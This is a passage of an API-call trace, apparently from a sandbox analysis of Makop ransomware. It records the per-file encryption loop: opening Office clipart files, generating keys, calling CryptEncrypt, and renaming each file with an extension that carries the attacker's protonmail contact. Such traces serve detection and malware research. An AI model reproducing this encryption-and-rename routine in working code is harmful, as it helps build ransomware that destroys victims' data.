lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.739] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.739] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.739] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.739] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16f8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16f8, lpOverlapped=0x0) returned 1 [0119.741] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1700, dwBufLen=0x1700 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1700) returned 1 [0119.741] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.741] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1700, lpOverlapped=0x0) returned 1 [0119.741] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.741] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.742] SetEndOfFile (hFile=0xf0) returned 1 [0119.758] GetProcessHeap () returned 0x48a0000 [0119.758] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.758] GetProcessHeap () returned 0x48a0000 [0119.758] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.758] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.758] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.760] CloseHandle (hObject=0xf0) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105386.WMF", cAlternateFileName="")) returned 1 [0119.761] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF") returned 63 [0119.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.761] GetProcessHeap () returned 0x48a0000 [0119.761] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.762] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.762] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.762] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.766] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.766] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.766] GetProcessHeap () returned 0x48a0000 [0119.766] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.766] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.766] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.766] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.767] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.767] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.767] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.767] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.767] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.767] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.767] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.767] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.768] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x175c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x175c, lpOverlapped=0x0) returned 1 [0119.769] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1760, dwBufLen=0x1760 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1760) returned 1 [0119.769] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.769] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1760, lpOverlapped=0x0) returned 1 [0119.770] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.770] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.770] SetEndOfFile (hFile=0xf0) returned 1 [0119.777] GetProcessHeap () returned 0x48a0000 [0119.777] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.777] GetProcessHeap () returned 0x48a0000 [0119.777] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.777] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.777] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.779] CloseHandle (hObject=0xf0) returned 1 [0119.779] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105388.WMF", cAlternateFileName="")) returned 1 [0119.779] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0119.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.781] GetProcessHeap () returned 0x48a0000 [0119.781] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.781] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.781] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.781] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.785] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.785] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.785] GetProcessHeap () returned 0x48a0000 [0119.785] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.785] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.786] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.786] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.786] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.786] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.786] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.787] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.787] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.787] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.787] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.787] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x203c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x203c, lpOverlapped=0x0) returned 1 [0119.789] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2040, dwBufLen=0x2040 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2040) returned 1 [0119.789] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.789] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2040, lpOverlapped=0x0) returned 1 [0119.790] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.790] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.790] SetEndOfFile (hFile=0xf0) returned 1 [0119.797] GetProcessHeap () returned 0x48a0000 [0119.797] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.797] GetProcessHeap () returned 0x48a0000 [0119.797] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.797] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.798] CloseHandle (hObject=0xf0) returned 1 [0119.798] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1350, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105390.WMF", cAlternateFileName="")) returned 1 [0119.799] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned 63 [0119.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.799] GetProcessHeap () returned 0x48a0000 [0119.799] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.799] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.800] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.800] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.800] GetProcessHeap () returned 0x48a0000 [0119.800] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.800] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.800] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.800] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.806] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.806] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.806] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.806] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.807] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.807] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.807] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.807] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1350, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1350, lpOverlapped=0x0) returned 1 [0119.808] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1350, dwBufLen=0x1350 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1350) returned 1 [0119.808] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.809] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1350, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1350, lpOverlapped=0x0) returned 1 [0119.809] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.809] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.809] SetEndOfFile (hFile=0xf0) returned 1 [0119.816] GetProcessHeap () returned 0x48a0000 [0119.816] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.816] GetProcessHeap () returned 0x48a0000 [0119.816] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.816] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.818] CloseHandle (hObject=0xf0) returned 1 [0119.818] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105396.WMF", cAlternateFileName="")) returned 1 [0119.818] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0119.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.819] GetProcessHeap () returned 0x48a0000 [0119.819] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.819] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.819] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.819] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.824] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.824] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.824] GetProcessHeap () returned 0x48a0000 [0119.824] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.825] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.825] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.825] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.825] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.825] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.825] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, 